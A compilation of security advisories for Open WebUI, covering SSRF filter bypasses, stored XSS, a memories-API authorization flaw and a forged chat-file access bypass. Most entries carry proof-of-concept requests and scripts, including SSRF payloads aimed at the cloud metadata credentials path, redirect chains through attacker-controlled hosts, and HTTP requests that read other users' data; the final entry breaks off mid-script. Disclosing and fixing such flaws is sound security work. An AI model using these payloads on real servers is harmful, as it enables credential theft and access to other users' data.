First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validateurl()

Summary

validateurl() in backend/openwebui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.

The vulnerability has existed since the validateurl() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validateurl(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.

Affected code

backend/openwebui/retrieval/web/utils.py validateurl():

python if validators.ipv6(ip, private=True): # ValidationError is falsy — never raises raise ValueError(...)

Proof of concept

python import validators print(validators.ipv6("::1", private=True)) ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})

End-to-end exploit:

python import requests, ipaddress

OPENWEBUIURL = "https://target" TOKEN = "..." TARGETIPV4 = "169.254.169.254" # AWS IMDSv1 mapped = "::ffff:" + TARGETIPV4

requests.post(f"{OPENWEBUIURL}/api/v1/retrieval/process/web", headers={"Authorization": f"Bearer {TOKEN}"}, json={"collectionname": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})

Impact

Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.

Recommended fix

Replace the validators library calls with stdlib ipaddress:

python import ipaddress addr = ipaddress.ipaddress(ip) if addr.isprivate or addr.isloopback or addr.islinklocal or addr.ismulticast or addr.isreserved or addr.isunspecified: raise ValueError(...) also unwrap IPv4-mapped IPv6 and re-check: if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4mapped: addrv4 = addr.ipv4mapped if addrv4.isprivate or addrv4.isloopback or ...: raise ValueError(...) plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).

Related but separate advisories

- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6 - DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r - urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx - Playwright loader redirect: GHSA-jrfp-m64g-pcwv - Missing validateurl() call in imagegenerations: GHSA-h7cc-wwjp-5xqh

Credits

- Dor Konis (dkonis, GE Vernova) — first to identify the validators.ipv6(private=True) silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report). - wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.

Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validateurl() once resolves all of them.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary In the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.

Details In the current project, URL validation is performed using the function validateurl.

<img width="1323" height="1145" alt="QQ20260322-202854-22-1" src="https://github.com/user-attachments/assets/896d19f2-c7c3-499a-9052-12aea756ac47" />

The current checking logic uses urlparse to parse the hostname part of the URL for verification.

<img width="1122" height="429" alt="QQ20260322-203014-22-2" src="https://github.com/user-attachments/assets/653520e9-e311-4a5e-8345-a2446e217d88" />

However, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validateurl is used first for URL validation, and then requests.get is used to send the request.

<img width="1269" height="915" alt="QQ20260322-203122-22-3" src="https://github.com/user-attachments/assets/f200aa06-9190-425e-9659-1ecaf95f806b" />

The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

- urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public) - requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the open-webui code. from future import annotations

import ipaddress import logging import os import socket import urllib.parse import urllib.request from typing import Optional, Sequence, Union import requests

log = logging.getLogger(name)

Same text as openwebui.constants.ERRORMESSAGES.INVALIDURL INVALIDURL = ( "Oops! The URL you provided is invalid. Please double-check and try again." )

Same semantics as openwebui.config (ENABLERAGLOCALWEBFETCH / WEBFETCHFILTERLIST) ENABLERAGLOCALWEBFETCH = ( os.getenv("ENABLERAGLOCALWEBFETCH", "False").lower() == "true" )

DEFAULTWEBFETCHFILTERLIST = [ "!169.254.169.254", "!fd00:ec2::254", "!metadata.google.internal", "!metadata.azure.com", "!100.100.100.200", ] webfetchfilterenv = os.getenv("WEBFETCHFILTERLIST", "") if webfetchfilterenv == "": webfetchfilterenvlist: list[str] = [] else: webfetchfilterenvlist = [ item.strip() for item in webfetchfilterenv.split(",") if item.strip() ] WEBFETCHFILTERLIST = list( set(DEFAULTWEBFETCHFILTERLIST + webfetchfilterenvlist) )

def getallowblocklists(filterlist): allowlist = [] blocklist = []

if filterlist: for d in filterlist: if d.startswith("!"): blocklist.append(d[1:].strip()) else: allowlist.append(d.strip())

return allowlist, blocklist

def isstringallowed( string: Union[str, Sequence[str]], filterlist: Optional[list[str]] = None ) -> bool: if not filterlist: return True

allowlist, blocklist = getallowblocklists(filterlist) strings = [string] if isinstance(string, str) else list(string)

if allowlist: if not any(s.endswith(allowed) for s in strings for allowed in allowlist): return False

if any(s.endswith(blocked) for s in strings for blocked in blocklist): return False

return True

def resolvehostname(hostname): # Get address information addrinfo = socket.getaddrinfo(hostname, None)

# Extract IP addresses from address information ipv4addresses = [info[4][0] for info in addrinfo if info[0] == socket.AFINET] ipv6addresses = [info[4][0] for info in addrinfo if info[0] == socket.AFINET6]

return ipv4addresses, ipv6addresses

def validatorsurlaccept(url: str) -> bool: """ Stand-in for python-validators url(): True if string looks like http(s) URL with host. """ try: u = url.strip() if not u: return False p = urllib.parse.urlparse(u) if p.scheme not in ("http", "https"): return False if not p.netloc: return False return True except Exception: return False

def ipv4private(ip: str) -> bool: try: a = ipaddress.ipaddress(ip) return a.version == 4 and a.isprivate except ValueError: return False

def ipv6private(ip: str) -> bool: try: a = ipaddress.ipaddress(ip) return a.version == 6 and a.isprivate except ValueError: return False

def validateurl(url: Union[str, Sequence[str]]): if isinstance(url, str): if not validatorsurlaccept(url): raise ValueError(INVALIDURL)

parsedurl = urllib.parse.urlparse(url)

# Protocol validation - only allow http/https if parsedurl.scheme not in ["http", "https"]: log.warning( f"Blocked non-HTTP(S) protocol: {parsedurl.scheme} in URL: {url}" ) raise ValueError(INVALIDURL)

# Blocklist check using unified filtering logic if WEBFETCHFILTERLIST: if not isstringallowed(url, WEBFETCHFILTERLIST): log.warning(f"URL blocked by filter list: {url}") raise ValueError(INVALIDURL)

if not ENABLERAGLOCALWEBFETCH: # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses parsedurl = urllib.parse.urlparse(url) # Get IPv4 and IPv6 addresses ipv4addresses, ipv6addresses = resolvehostname(parsedurl.hostname) # Check if any of the resolved addresses are private # This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader for ip in ipv4addresses: if ipv4private(ip): raise ValueError(INVALIDURL) for ip in ipv6addresses: if ipv6private(ip): raise ValueError(INVALIDURL) return True elif isinstance(url, Sequence): return all(validateurl(u) for u in url) else: return False

if name == "main": logging.basicConfig(level=logging.INFO) # url = "https://127.0.0.1:6666\@1.1.1.1" url = "https://127.0.0.1:6666" validateurl(url) response = requests.get(url) print(response.text)

As you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.

<img width="1428" height="273" alt="QQ20260322-203503-22-4" src="https://github.com/user-attachments/assets/cf29b639-d4fe-409e-a516-2424d608739f" />

However, for https://127.0.0.1:6666\@1.1.1.1/, the hostname extracted by validateurl is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.

<img width="2255" height="786" alt="QQ20260322-203750-22-5" src="https://github.com/user-attachments/assets/050bc6a4-760f-4d7a-8b52-056778097cd1" />

PoC http://127.0.0.1:6666\@baidu.com

Impact SSRF

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints

Summary

The validateurl() function in backend/openwebui/retrieval/web/utils.py only validates the initial URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an imageurl content part, and any other route that calls these helpers.

Affected code paths

The bypass exists across multiple call sites; each independently follows redirects without re-validation.

Path 1 — sync scrape via SafeWebBaseLoader

backend/openwebui/retrieval/web/utils.py — SafeWebBaseLoader inherits from langchaincommunity.documentloaders.WebBaseLoader. The parent's scrape() calls self.session.get(url, self.requestskwargs). requestskwargs only sets timeout; allowredirects=False is not passed, so requests.Session.get() follows redirects with the default allowredirects=True. validateurl() is invoked once on the original URL only.

Path 2 — async fetch (aiohttp)

backend/openwebui/retrieval/web/utils.py — fetch() previously inherited the aiohttp default allowredirects=True. As of HEAD this path is fixed (allowredirects=False). Listed for completeness.

Path 3 — getcontentfromurl (sync requests.get)

backend/openwebui/retrieval/utils.py — response = requests.get(url, stream=True, timeout=30). No allowredirects=False. Reached via /api/v1/retrieval/process/web (file ingestion) and other routers that resolve external URLs.

Path 4 — loadurlimage (image edit)

backend/openwebui/routers/images.py — image-URL fetching helper used by the image-edit endpoint. Same pattern: validateurl() checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via /api/v1/images/edit.

Path 5 — getimagebase64fromurl (chat-completion image inlining)

backend/openwebui/utils/files.py — getimagebase64fromurl() is invoked from converturlimagestobase64() in backend/openwebui/utils/middleware.py on every /api/chat/completions request whose message content includes an imageurl part. The shared aiohttp session pool (backend/openwebui/utils/sessionpool.py) does not override the aiohttp default allowredirects=True, and the call site itself does not pass allowredirects=False. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag — any authenticated user can trigger it from a normal chat message.

Proof of concept

Authenticated low-privilege user; default config, no admin or special permissions required.

bash curl -X POST https://<target>/api/v1/retrieval/process/web \ -H "Authorization: Bearer <anyusertoken>" \ -H "Content-Type: application/json" \ -d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&statuscode=302"}'

Response body contains the internal /api/config payload in file.data.content. Replace the redirect target with http://169.254.169.254/latest/meta-data/ for cloud metadata, or any internal hostname reachable from the server.

For the chat-completion path (Path 5), the same redirect is followed when an imageurl content part points to an attacker-controlled redirector:

bash curl -X POST https://<target>/api/chat/completions \ -H "Authorization: Bearer <anyusertoken>" \ -H "Content-Type: application/json" \ -d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"imageurl","imageurl":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}'

Impact

Any authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process — cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.

Recommended fix

For every call site that follows redirects, set allowredirects=False on the underlying HTTP client and add a per-hop validation loop using validateurl() on each Location: header.

Credits

Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.

- tenbbughunters — first to identify SafeWebBaseLoader sync scrape (Path 1) - YLChen-007 — first to identify loadurlimage (Path 4) - tempcollab — first to identify aiohttp fetch (Path 2) - sneaXOR — first to identify getcontentfromurl (Path 3) - nayakchinmohan — first to identify getimagebase64fromurl in chat-completion middleware (Path 5)

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

backend/openwebui/utils/oauth.py::processpictureurl (v0.9.5, lines 1435-1470) calls validateurl(pictureurl) on the initial URL only, then invokes aiohttp.ClientSession.get(pictureurl, ...) without allowredirects=False. aiohttp's default is allowredirects=True, maxredirects=10; the function does not pass the project's AIOHTTPCLIENTALLOWREDIRECTS env constant either. An attacker with a valid OAuth IdP identity can therefore submit a public URL that 302-redirects to an internal address and read the internal response body via the attacker's own profileimageurl field.

This is the same redirect-bypass class as CVE-2026-45401 (GHSA-rh5x-h6pp-cjj6), on a 6th call site that the v0.9.5 patch missed. CVE-2026-45401's advisory body enumerates exactly five affected paths — SafeWebBaseLoader.scrape, fetch, getcontentfromurl, loadurlimage, getimagebase64fromurl — none in utils/oauth.py.

Vulnerable code (v0.9.5)

backend/openwebui/utils/oauth.py, lines 1435-1470:

python async def processpictureurl(self, pictureurl: str, accesstoken: str = None) -> str: if not pictureurl: return '/user.png' try: validateurl(pictureurl) # initial URL only

getkwargs = {} if accesstoken: getkwargs['headers'] = {'Authorization': f'Bearer {accesstoken}'} async with aiohttp.ClientSession(trustenv=True) as session: async with session.get(pictureurl, getkwargs, ssl=AIOHTTPCLIENTSESSIONSSL) as resp: # ^^^^^^^^^^^ no allowredirects=False if resp.ok: picture = await resp.read() base64encodedpicture = base64.b64encode(picture).decode('utf-8') guessedmimetype = mimetypes.guesstype(pictureurl)[0] if guessedmimetype is None: guessedmimetype = 'image/jpeg' return f'data:{guessedmimetype};base64,{base64encodedpicture}' ...

The function is invoked at oauth.py:1556 (new-user OAuth signup) and oauth.py:1536 (existing-user picture update on login). Neither call site re-validates after redirect-following.

backend/openwebui/retrieval/web/utils.py (v0.9.5) imports the env constant AIOHTTPCLIENTALLOWREDIRECTS at line 51 and uses it on the five paths patched by CVE-2026-45401. utils/oauth.py does not import or reference it.

Exploitation

Preconditions: - ENABLEOAUTHSIGNUP=true or OAUTHUPDATEPICTUREONLOGIN=true (common in production OAuth-IdP deployments) - Attacker has a valid identity on the configured OAuth IdP (Google, Microsoft, GitHub, or any generic OIDC provider)

Steps:

1. Attacker hosts a redirect endpoint at http://attacker.example/r on a public IP. validateurl("http://attacker.example/r") returns True (isglobal=True for public IPs). 2. Attacker sets their IdP picture claim to http://attacker.example/r. 3. Attacker signs in to open-webui via OAuth. open-webui invokes processpictureurl("http://attacker.example/r", ...). 4. validateurl accepts the public URL. session.get("http://attacker.example/r") is invoked. 5. attacker.example responds HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:11434/api/tags. (Or http://169.254.169.254/latest/meta-data/iam/security-credentials/, RFC1918 internal services, etc.) 6. aiohttp follows the redirect server-side. No re-validation. 7. The internal response body is read into picture, base64-encoded, and stored as profileimageurl = "data:image/jpeg;base64,..." on the attacker's account. 8. Attacker reads back via GET /api/v1/auths/. Decode the base64 payload to get the full internal response body.

Impact

Full-read SSRF, identical read-back primitive to CVE-2026-45338:

- Cloud metadata services (AWS IMDSv1 at 169.254.169.254, GCP metadata.google.internal, Azure IMDS) → IAM credentials, managed-identity tokens - Localhost-bound services (Ollama at :11434, Redis, Elasticsearch, internal Postgres exporters) - RFC1918 internal infrastructure not exposed to the internet

Distinction from prior CVEs

| Prior CVE | This finding | Distinguishing fact | |---|---|---| | CVE-2026-45338 (GHSA-24c9) | processpictureurl had no validateurl() call at all | Fixed in v0.9.0 by adding the call. Ours is the call being insufficient because it doesn't loop over redirect targets. Different mechanism, different fix. | | CVE-2026-45400 (GHSA-8w7q) | validateurl() had urlparse-vs-requests parser disagreement on \@ chars | Fixed in v0.9.5 by char-blocklist. Ours is post-validation redirect-following — orthogonal mechanism. | | CVE-2026-45401 (GHSA-rh5x) | Five paths in retrieval, routers/images, utils/files, utils/middleware | Parent class. Same CWE-918 redirect-bypass mechanism. utils/oauth.py::processpictureurl is not among the five paths in the parent advisory's "Affected code paths" section. Same class, missed sink. Direct sibling. |

Suggested fix

python async with session.get( pictureurl, getkwargs, ssl=AIOHTTPCLIENTSESSIONSSL, allowredirects=AIOHTTPCLIENTALLOWREDIRECTS, # add ) as resp:

Or, if redirects must remain enabled by default, wrap in a manual-follow loop that re-invokes validateurl() on each Location header. This mirrors the fix shape applied to the five paths in CVE-2026-45401.

Affected versions

Vulnerable: <= 0.9.5 Fix: 0.9.6

References

- CVE-2026-45401 / GHSA-rh5x-h6pp-cjj6 (parent cluster, redirect-bypass on 5 paths) - CVE-2026-45338 / GHSA-24c9-2m8q-qhmh (original processpictureurl SSRF, patched v0.9.0) - CVE-2026-45400 / GHSA-8w7q-q5jp-jvgx (validateurl parser-disagreement bypass, patched v0.9.5) - open-webui issue #24560 (corroborates that the v0.9.5 redirect-fix was applied piecemeal across call sites)

Proof of Concept

End-to-end PoC executed against ghcr.io/open-webui/open-webui:v0.9.5 in Docker compose. Three services: attacker (OIDC IdP + 302-redirect endpoint on evil.example.com:9001/redirect), canary (internal target on internal-target.local:9002/sentinel), open-webui v0.9.5.

Fresh-CSPRNG sentinel generated after OAuth state-establishing call (per Gate 5.5 oracle protocol): SSRF-POC-5580111b2a0d7d0c8324bfa92a0d9d09.

Result: - profileimageurl field after OAuth login: data:image/jpeg;base64,U1NSRi1QT0MtNTU4MDExMWIyYTBkN2QwYzgzMjRiZmE5MmEwZDlkMDk= - Base64 decode: SSRF-POC-5580111b2a0d7d0c8324bfa92a0d9d09 (byte-for-byte sentinel match) - Canary log: !!! SSRF HIT - sentinel served

Chain confirmed: OAuth login → IdP returns picture claim evil.example.com:9001/redirect → validateurl() accepts FQDN → aiohttp.ClientSession.get(...) follows 302 to internal-target.local:9002/sentinel server-side without re-validation → response body base64-encoded into attacker's profileimageurl → readable via GET /api/v1/auths/.

PoC artifacts (compose, attacker server, canary, run/verify scripts, full transcript) available on request.

Reporter

Matteo Panzeri — GitHub: matte1782, contact: matteo1782@gmail.com. Requesting CVE credit as Matteo Panzeri.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
Input Validation
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Open WebUI before 0.9.5 contains a stored cross-site scripting vulnerability in the OAuth authentication flow where the picture claim URL MIME type is inferred from file extension rather than Content-Type header, allowing SVG files to bypass the profile image validator and be stored as data URIs. Authenticated users who visit the profile image endpoint receive attacker-controlled SVG content with inline disposition and no default security headers, enabling script execution in the same origin to steal authentication tokens and achieve account takeover.

First published (updated )
Severity
8.4
XSS
AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H

A stored cross-site scripting (XSS) vulnerability exists in open-webui/open-webui version 0.3.8. The vulnerability is present in the /api/v1/models/add endpoint, where the model description field is improperly sanitized before being rendered in chat. This allows an attacker to inject malicious scripts that can be executed by any user, including administrators, potentially leading to arbitrary code execution.

1 / 2
Source: NVD
First published (updated )
Severity
8.3
XEE
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories.

Details

Using a newly created non-admin user with no existing memories, it is possible to view existing memories via POST /api/v1/memories/query. See below under the PoC section, where a call to GET /api/v1/memories/ returns [] (as expected) but a call to POST /api/v1/memories/query reveals memories created by other users.

Similarly, even if a non-admin user cannot modify another user's memory data via POST /api/v1/memories/{memoryid}/update, the endpoint's response improperly leaks the content of that memory if a valid memoryid is known.

The DELETE /api/v1/memories/{memoryid} can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the POST /api/v1/memories/{memoryid}/update endpoint again.

PoC 1

Example of a user with no memories able to query an existing memory from another user

GET /api/v1/memories/ HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 0

---

HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:19:58 GMT server: uvicorn content-length: 2 content-type: application/json x-process-time: 0

[]

POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive

{ "content": "" }

---

HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:22:01 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0 access-control-allow-origin: access-control-allow-credentials: true

{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"createdat":1752784616,"updatedat":1752864797}]],"distances":[[0.6216812525921495]]}

PoC 2

Example showing excess output about a memory a user has no access to modify

POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23

{ "content": "" }

---

HTTP/1.1 200 OK date: Fri, 18 Jul 2025 18:53:37 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0

{"id":"d6802d76-a50f-4255-b68e-0f60c335e043","userid":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updatedat":1752864797,"createdat":1752784616}

PoC 3

Example showing a memory being deleted then restored by a different user than its owner

DELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Connection: keep-alive

---

HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:31:19 GMT server: uvicorn content-length: 4 content-type: application/json x-process-time: 0

true

POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive

{ "content": "" }

---

HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:32:31 GMT server: uvicorn content-length: 63 content-type: application/json x-process-time: 0

{"ids":[[]],"documents":[[]],"metadatas":[[]],"distances":[[]]}

POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23

{ "content": "" }

---

HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:05 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0

{"id":"d6802d76-a50f-4255-b68e-0f60c335e043","userid":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updatedat":1752864797,"createdat":1752784616}

POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive

{ "content": "" }

---

HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:34 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0

{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"createdat":1752784616,"updatedat":1752864797}]],"distances":[[0.6216812525921495]]}

Impact

Potential disclosure of sensitive data stored within a user's memories. Disclosure of unique user ID values to non-admins when viewing a memory.

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

Open WebUI v0.9.5 lets an authenticated user attach arbitrary fileid values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, hasaccesstofile() treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.

Impact

Security boundary crossed: file confidentiality and integrity.

An authenticated attacker who knows or obtains a victim fileid can make Open WebUI authorize, through an attacker-owned shared chat:

- reading the victim file via GET /api/v1/files/{id}/content, and - deleting the victim file via DELETE /api/v1/files/{id}.

Root Cause

Client-controlled message file IDs are persisted without file authorization checks:

python backend/openwebui/main.py await Chats.insertchatfiles( chatid, usermessage.get('id'), [ fileitem.get('id') for fileitem in usermessagefiles if fileitem.get('type') == 'file' ], user.id, )

insertchatfiles() stores the provided IDs directly:

python backend/openwebui/models/chats.py ChatFileModel( userid=userid, chatid=chatid, messageid=messageid, fileid=fileid, )

Later, file authorization trusts shared-chat associations:

python backend/openwebui/utils/accesscontrol/files.py sharedchatids = await Chats.getsharedchatidsbyfileid(fileid, db=db) if sharedchatids: accessibleids = await AccessGrants.getaccessibleresourceids( userid=user.id, resourcetype='sharedchat', resourceids=sharedchatids, permission='read', ) if accessibleids: return True

The download endpoint uses this helper:

python backend/openwebui/routers/files.py if file.userid == user.id or user.role == 'admin' or await hasaccesstofile(id, 'read', user, db=db): return FileResponse(filepath, ...)

On affected versions this shared-chat branch is not gated on accesstype (the grant lookup hardcodes permission='read', but nothing checks that the request itself is a read). The same forged association therefore also satisfies the write check that DELETE /api/v1/files/{id} performs, so the attacker can delete the victim file, not only read it.

Because the shared-chat branch ignores accesstype, the deletion does not require the forged association at all. A user granted only read access to a chat that the owner legitimately shared can delete the owner's own files attached to that chat via DELETE /api/v1/files/{id}, since the read grant satisfies the write check. The forged association (above) broadens this to any victim fileid; a legitimate read-only share reaches it without any forgery.

PoC

1. Attacker creates or uses a chat they own. 2. Attacker sends POST /api/chat/completions or POST /api/v1/chat/completions where top-level usermessage.files contains:

json [ { "type": "file", "id": "VICTIMFILEID" } ]

3. Backend inserts a chatfile row linking the attacker chat to VICTIMFILEID. 4. Attacker shares the chat and grants read access to themselves or public access. 5. Attacker requests:

text GET /api/v1/files/VICTIMFILEID/content

Expected: 404/403 because the attacker does not own or otherwise have access to the victim file.

Actual: file authorization succeeds through the attacker-controlled shared-chat association.

Local Verification

I verified the bug locally with Open WebUI's real Chats.insertchatfiles() and real hasaccesstofile() implementations. The harness uses fake DB adapters only to avoid this environment's async SQLite hang; the security-sensitive logic under test is the application code.

Result:

json { "beforechatfilelinkattackercanread": false, "insertsink": { "dbcommitcalled": true, "insertreturnedrows": true, "storedchatids": [ "attacker-chat" ], "storedfileids": [ "victim-file" ], "storeduserids": [ "attacker" ] }, "afterattackersharedchatlinksvictimfileattackercanread": true, "confirmed": true }

PoC:

python #!/usr/bin/env python3 """ Verifier for chat-file link authorization bypass.

This intentionally avoids the app DB because the local Python 3.13 async SQLite stack hangs in this checkout. It still executes Open WebUI's real hasaccesstofile() implementation, with fake model adapters standing in for the DB tables. """

from future import annotations

import asyncio import json import os import sys import types from pathlib import Path from types import SimpleNamespace

def prepareimports() -> None: reporoot = Path(file).resolve().parents[1] sys.path.insert(0, str(reporoot / "backend")) os.environ["VECTORDB"] = "none"

class DummyTyper: def command(self, args, kwargs): return lambda fn: fn

sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda args, kwargs: DummyTyper(), Option=lambda args, kwargs: None, echo=lambda args, kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda args, kwargs: None))

class FakeFiles: async def getfilebyid(self, fileid, db=None): if fileid == "victim-file": return SimpleNamespace( id="victim-file", userid="victim", meta={}, ) return None

class FakeKnowledges: async def getknowledgesbyfileid(self, fileid, db=None): return []

class FakeGroups: async def getgroupsbymemberid(self, userid, db=None): return []

class FakeChannels: async def getchannelsbyfileidanduserid(self, fileid, userid, db=None): return []

class FakeModels: async def getmodelsbyuserid(self, userid, permission="read", db=None): return []

class FakeChats: def init(self, linked: bool): self.linked = linked

